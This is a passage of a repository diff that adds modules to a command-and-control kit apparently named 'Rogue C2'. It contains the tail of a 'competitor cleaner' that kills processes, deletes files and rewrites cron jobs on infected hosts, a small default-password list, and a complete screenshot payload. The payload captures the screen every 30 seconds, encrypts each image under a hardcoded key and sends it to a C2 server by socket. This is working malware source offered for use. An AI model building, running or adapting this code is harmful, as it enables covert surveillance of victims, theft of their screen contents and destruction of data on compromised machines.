})
|
||||||
|
|
||||||
|
except (psutil.NoSuchProcess, psutil.AccessDenied):
|
||||||
|
continue
|
||||||
|
|
||||||
|
return suspicious
|
||||||
|
|
||||||
|
def scan_filesystem(self, paths=None):
|
||||||
|
"""Scan for suspicious files"""
|
||||||
|
if not paths:
|
||||||
|
paths = ['/tmp', '/dev/shm', '/var/tmp', os.path.expanduser('~/.cache'),
|
||||||
|
os.path.expanduser('~/.config'), '/opt', '/usr/lib']
|
||||||
|
|
||||||
|
suspicious_files = []
|
||||||
|
|
||||||
|
for scan_path in paths:
|
||||||
|
if os.path.exists(scan_path):
|
||||||
|
for root, dirs, files in os.walk(scan_path):
|
||||||
|
for file in files:
|
||||||
|
filepath = os.path.join(root, file)
|
||||||
|
|
||||||
|
# Check against patterns
|
||||||
|
for pattern in self.suspicious_patterns['file_paths']:
|
||||||
|
if re.search(pattern, filepath):
|
||||||
|
suspicious_files.append({
|
||||||
|
'path': filepath,
|
||||||
|
'reason': f'Matches pattern: {pattern}'
|
||||||
|
})
|
||||||
|
break
|
||||||
|
|
||||||
|
# Check file extensions
|
||||||
|
suspicious_exts = ['.miner', '.bot', '.malware', '.backdoor', '.crypt']
|
||||||
|
if any(filepath.endswith(ext) for ext in suspicious_exts):
|
||||||
|
suspicious_files.append({
|
||||||
|
'path': filepath,
|
||||||
|
'reason': 'Suspicious extension'
|
||||||
|
})
|
||||||
|
|
||||||
|
return suspicious_files
|
||||||
|
|
||||||
|
def scan_cron_jobs(self):
|
||||||
|
"""Scan for suspicious cron jobs"""
|
||||||
|
suspicious_crons = []
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Check user crontab
|
||||||
|
output = subprocess.check_output("crontab -l 2>/dev/null || echo ''", shell=True).decode()
|
||||||
|
|
||||||
|
for pattern in self.suspicious_patterns['cron_patterns']:
|
||||||
|
matches = re.findall(pattern, output, re.I)
|
||||||
|
for match in matches:
|
||||||
|
suspicious_crons.append({
|
||||||
|
'source': 'user_crontab',
|
||||||
|
'entry': match,
|
||||||
|
'reason': f'Matches pattern: {pattern}'
|
||||||
|
})
|
||||||
|
|
||||||
|
# Check system cron directories
|
||||||
|
cron_dirs = ['/etc/cron.d', '/etc/cron.daily', '/etc/cron.hourly', '/etc/cron.monthly', '/etc/cron.weekly']
|
||||||
|
for cron_dir in cron_dirs:
|
||||||
|
if os.path.exists(cron_dir):
|
||||||
|
for root, dirs, files in os.walk(cron_dir):
|
||||||
|
for file in files:
|
||||||
|
filepath = os.path.join(root, file)
|
||||||
|
try:
|
||||||
|
with open(filepath, 'r') as f:
|
||||||
|
content = f.read()
|
||||||
|
for pattern in self.suspicious_patterns['cron_patterns']:
|
||||||
|
matches = re.findall(pattern, content, re.I)
|
||||||
|
for match in matches:
|
||||||
|
suspicious_crons.append({
|
||||||
|
'source': filepath,
|
||||||
|
'entry': match,
|
||||||
|
'reason': f'Matches pattern: {pattern}'
|
||||||
|
})
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[!] Error scanning cron jobs: {e}")
|
||||||
|
|
||||||
|
return suspicious_crons
|
||||||
|
|
||||||
|
def remove_suspicious_items(self, processes, files, crons):
|
||||||
|
"""Remove detected suspicious items"""
|
||||||
|
removed = []
|
||||||
|
|
||||||
|
# Kill suspicious processes
|
||||||
|
for proc in processes:
|
||||||
|
try:
|
||||||
|
os.kill(proc['pid'], 9)
|
||||||
|
removed.append({
|
||||||
|
'type': 'process',
|
||||||
|
'pid': proc['pid'],
|
||||||
|
'name': proc['name'],
|
||||||
|
'reason': proc['reason']
|
||||||
|
})
|
||||||
|
print(f"[+] Killed process: {proc['name']} (PID: {proc['pid']})")
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[!] Failed to kill process {proc['name']}: {e}")
|
||||||
|
|
||||||
|
# Remove suspicious files
|
||||||
|
for file_info in files:
|
||||||
|
try:
|
||||||
|
if os.path.exists(file_info['path']):
|
||||||
|
os.remove(file_info['path'])
|
||||||
|
removed.append({
|
||||||
|
'type': 'file',
|
||||||
|
'path': file_info['path'],
|
||||||
|
'reason': file_info['reason']
|
||||||
|
})
|
||||||
|
print(f"[+] Removed file: {file_info['path']}")
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[!] Failed to remove file {file_info['path']}: {e}")
|
||||||
|
|
||||||
|
# Clean suspicious cron jobs
|
||||||
|
for cron in crons:
|
||||||
|
try:
|
||||||
|
if cron['source'] == 'user_crontab':
|
||||||
|
# Clean user crontab
|
||||||
|
output = subprocess.check_output("crontab -l 2>/dev/null || echo ''", shell=True).decode()
|
||||||
|
lines = output.split('\n')
|
||||||
|
new_lines = [line for line in lines if cron['entry'] not in line]
|
||||||
|
|
||||||
|
if len(new_lines) != len(lines):
|
||||||
|
subprocess.call('echo "" | crontab -', shell=True)
|
||||||
|
if new_lines:
|
||||||
|
crontab_content = '\n'.join(new_lines)
|
||||||
|
subprocess.call(f'echo "{crontab_content}" | crontab -', shell=True)
|
||||||
|
|
||||||
|
removed.append({
|
||||||
|
'type': 'cron',
|
||||||
|
'source': cron['source'],
|
||||||
|
'entry': cron['entry'],
|
||||||
|
'reason': cron['reason']
|
||||||
|
})
|
||||||
|
print(f"[+] Removed cron entry: {cron['entry']}")
|
||||||
|
else:
|
||||||
|
# Remove suspicious cron file
|
||||||
|
if os.path.exists(cron['source']):
|
||||||
|
os.remove(cron['source'])
|
||||||
|
removed.append({
|
||||||
|
'type': 'cron_file',
|
||||||
|
'path': cron['source'],
|
||||||
|
'reason': cron['reason']
|
||||||
|
})
|
||||||
|
print(f"[+] Removed cron file: {cron['source']}")
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[!] Failed to clean cron: {e}")
|
||||||
|
|
||||||
|
return removed
|
||||||
|
|
||||||
|
def execute(self):
|
||||||
|
"""Execute competitor cleaning"""
|
||||||
|
try:
|
||||||
|
print("[+] Starting competitor/malware cleanup...")
|
||||||
|
|
||||||
|
# Scan for threats
|
||||||
|
print("[*] Scanning for suspicious processes...")
|
||||||
|
processes = self.scan_processes()
|
||||||
|
print(f"[*] Found {len(processes)} suspicious processes")
|
||||||
|
|
||||||
|
print("[*] Scanning for suspicious files...")
|
||||||
|
files = self.scan_filesystem()
|
||||||
|
print(f"[*] Found {len(files)} suspicious files")
|
||||||
|
|
||||||
|
print("[*] Scanning for suspicious cron jobs...")
|
||||||
|
crons = self.scan_cron_jobs()
|
||||||
|
print(f"[*] Found {len(crons)} suspicious cron entries")
|
||||||
|
|
||||||
|
# Remove threats
|
||||||
|
if processes or files or crons:
|
||||||
|
removed = self.remove_suspicious_items(processes, files, crons)
|
||||||
|
self.removed_items = removed
|
||||||
|
|
||||||
|
# Save removal report
|
||||||
|
report = {
|
||||||
|
'timestamp': datetime.now().isoformat(),
|
||||||
|
'removed_items': removed,
|
||||||
|
'total_removed': len(removed)
|
||||||
|
}
|
||||||
|
|
||||||
|
report_file = os.path.expanduser("~/.cache/.rogue/competitor_cleanup.json")
|
||||||
|
os.makedirs(os.path.dirname(report_file), exist_ok=True)
|
||||||
|
|
||||||
|
with open(report_file, 'w') as f:
|
||||||
|
json.dump(report, f, indent=2)
|
||||||
|
|
||||||
|
return f"[+] Cleanup complete: Removed {len(removed)} suspicious items"
|
||||||
|
else:
|
||||||
|
return "[*] No suspicious items found"
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
return f"[!] Competitor cleanup failed: {e}"
|
||||||
|
|
||||||
|
# === Integration with Rogue C2 ===
|
||||||
|
def rogue_integration():
|
||||||
|
"""Wrapper for Rogue C2 integration"""
|
||||||
|
cleaner = CompetitorCleaner()
|
||||||
|
return cleaner.execute()
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
print(rogue_integration())
|
||||||
1
passwords.txt
Normal file
1
passwords.txt
Normal file
|
|
@ -0,0 +1 @@
|
||||||
|
password\n123456\nadmin\npassword123\nubuntu
|
||||||
176
screenshot.py
Normal file
176
screenshot.py
Normal file
|
|
@ -0,0 +1,176 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
PAYLOAD: Screen Capture Module
|
||||||
|
DESCRIPTION: Takes periodic screenshots and exfiltrates them to C2
|
||||||
|
AUTHOR: Rogue Red Team
|
||||||
|
VERSION: 2.0
|
||||||
|
"""
|
||||||
|
import os, sys, time, datetime, threading, socket, base64, hashlib, json
|
||||||
|
from PIL import ImageGrab
|
||||||
|
import pyautogui
|
||||||
|
from Cryptodome.Cipher import AES
|
||||||
|
|
||||||
|
class ScreenCapture:
|
||||||
|
def __init__(self, interval=30, c2_host=None, c2_port=9091, max_screenshots=100):
|
||||||
|
self.interval = interval
|
||||||
|
self.c2_host = c2_host or self.get_default_c2()
|
||||||
|
self.c2_port = c2_port
|
||||||
|
self.max_screenshots = max_screenshots
|
||||||
|
self.running = False
|
||||||
|
self.encryption_key = hashlib.sha256(b'RogueScreenCap2024').digest()
|
||||||
|
self.output_dir = os.path.expanduser("~/.cache/.rogue/screenshots")
|
||||||
|
os.makedirs(self.output_dir, exist_ok=True)
|
||||||
|
|
||||||
|
# Clear old screenshots if over limit
|
||||||
|
self.cleanup_old_screenshots()
|
||||||
|
|
||||||
|
def get_default_c2(self):
|
||||||
|
"""Get C2 host from environment or default"""
|
||||||
|
return os.environ.get('ROGUE_C2_HOST', 'localhost')
|
||||||
|
|
||||||
|
def cleanup_old_screenshots(self):
|
||||||
|
"""Remove old screenshots if exceeding max"""
|
||||||
|
try:
|
||||||
|
screenshots = sorted([f for f in os.listdir(self.output_dir) if f.startswith('screenshot_')])
|
||||||
|
if len(screenshots) > self.max_screenshots:
|
||||||
|
for i in range(len(screenshots) - self.max_screenshots):
|
||||||
|
os.remove(os.path.join(self.output_dir, screenshots[i]))
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[!] Cleanup error: {e}")
|
||||||
|
|
||||||
|
def capture_screen(self):
|
||||||
|
"""Capture the current screen"""
|
||||||
|
try:
|
||||||
|
timestamp = datetime.datetime.now().strftime("%Y%m%d_%H%M%S")
|
||||||
|
filename = f"screenshot_{timestamp}.png"
|
||||||
|
filepath = os.path.join(self.output_dir, filename)
|
||||||
|
|
||||||
|
# Capture screen
|
||||||
|
screenshot = ImageGrab.grab()
|
||||||
|
screenshot.save(filepath, 'PNG', optimize=True, quality=85)
|
||||||
|
|
||||||
|
print(f"[+] Captured screen: {filename}")
|
||||||
|
return filepath
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[!] Screen capture failed: {e}")
|
||||||
|
return None
|
||||||
|
|
||||||
|
def encrypt_file(self, filepath):
|
||||||
|
"""Encrypt file for exfiltration"""
|
||||||
|
try:
|
||||||
|
with open(filepath, 'rb') as f:
|
||||||
|
data = f.read()
|
||||||
|
|
||||||
|
cipher = AES.new(self.encryption_key, AES.MODE_EAX)
|
||||||
|
ciphertext, tag = cipher.encrypt_and_digest(data)
|
||||||
|
encrypted = cipher.nonce + tag + ciphertext
|
||||||
|
|
||||||
|
return base64.b64encode(encrypted).decode()
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[!] Encryption failed: {e}")
|
||||||
|
return None
|
||||||
|
|
||||||
|
def exfil_screenshot(self, filepath):
|
||||||
|
"""Exfiltrate screenshot to C2"""
|
||||||
|
try:
|
||||||
|
encrypted_data = self.encrypt_file(filepath)
|
||||||
|
if not encrypted_data:
|
||||||
|
return False
|
||||||
|
|
||||||
|
metadata = {
|
||||||
|
"filename": os.path.basename(filepath),
|
||||||
|
"timestamp": datetime.datetime.now().isoformat(),
|
||||||
|
"hostname": socket.gethostname(),
|
||||||
|
"size": os.path.getsize(filepath)
|
||||||
|
}
|
||||||
|
|
||||||
|
payload = {
|
||||||
|
"metadata": metadata,
|
||||||
|
"data": encrypted_data
|
||||||
|
}
|
||||||
|
|
||||||
|
# Send to C2
|
||||||
|
s = socket.socket()
|
||||||
|
s.connect((self.c2_host, self.c2_port))
|
||||||
|
s.sendall(json.dumps(payload).encode())
|
||||||
|
s.close()
|
||||||
|
|
||||||
|
# Delete local file after successful exfiltration
|
||||||
|
os.remove(filepath)
|
||||||
|
print(f"[+] Exfiltrated screenshot to {self.c2_host}:{self.c2_port}")
|
||||||
|
return True
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[!] Exfiltration failed: {e}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
def capture_loop(self):
|
||||||
|
"""Main capture loop"""
|
||||||
|
while self.running:
|
||||||
|
try:
|
||||||
|
filepath = self.capture_screen()
|
||||||
|
if filepath:
|
||||||
|
# Try to exfiltrate
|
||||||
|
if not self.exfil_screenshot(filepath):
|
||||||
|
# If exfiltration fails, keep file locally
|
||||||
|
print(f"[!] Keeping screenshot locally: {filepath}")
|
||||||
|
|
||||||
|
time.sleep(self.interval)
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[!] Capture loop error: {e}")
|
||||||
|
time.sleep(self.interval)
|
||||||
|
|
||||||
|
def start(self):
|
||||||
|
"""Start screen capture"""
|
||||||
|
print(f"[+] Starting screen capture every {self.interval}s")
|
||||||
|
print(f"[+] Exfiltration to {self.c2_host}:{self.c2_port}")
|
||||||
|
print(f"[+] Local storage: {self.output_dir}")
|
||||||
|
print("[+] Press Ctrl+C to stop")
|
||||||
|
|
||||||
|
self.running = True
|
||||||
|
self.capture_loop()
|
||||||
|
|
||||||
|
def stop(self):
|
||||||
|
"""Stop screen capture"""
|
||||||
|
self.running = False
|
||||||
|
print("[+] Screen capture stopped")
|
||||||
|
|
||||||
|
def rogue_integration():
|
||||||
|
"""Wrapper for Rogue C2 integration"""
|
||||||
|
import argparse
|
||||||
|
|
||||||
|
parser = argparse.ArgumentParser(description='Rogue Screen Capture')
|
||||||
|
parser.add_argument('--interval', type=int, default=30, help='Capture interval in seconds')
|
||||||
|
parser.add_argument('--c2-host', help='C2 server hostname')
|
||||||
|
parser.add_argument('--c2-port', type=int, default=9091, help='C2 server port')
|
||||||
|
parser.add_argument('--max-local', type=int, default=100, help='Maximum local screenshots to keep')
|
||||||
|
|
||||||
|
args, unknown = parser.parse_known_args()
|
||||||
|
|
||||||
|
# Check if we're being called from Rogue with arguments
|
||||||
|
if len(sys.argv) > 1 and sys.argv[1] == '--rogue-integration':
|
||||||
|
# Parse Rogue-style arguments
|
||||||
|
args.interval = 30
|
||||||
|
args.c2_host = None
|
||||||
|
args.max_local = 100
|
||||||
|
|
||||||
|
capturer = ScreenCapture(
|
||||||
|
interval=args.interval,
|
||||||
|
c2_host=args.c2_host,
|
||||||
|
c2_port=args.c2_port,
|
||||||
|
max_screenshots=args.max_local
|
||||||
|
)
|
||||||
|
|
||||||
|
try:
|
||||||
|
capturer.start()
|
||||||
|
return "[+] Screen capture started successfully"
|
||||||
|
except Exception as e:
|
||||||
|
return f"[!] Screen capture failed to start: {e}"
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
# When run directly, start the screen capture
|
||||||
|
capturer = ScreenCapture()
|
||||||
|
capturer.start()
|
||||||
Loading…
Reference in New Issue
Block a user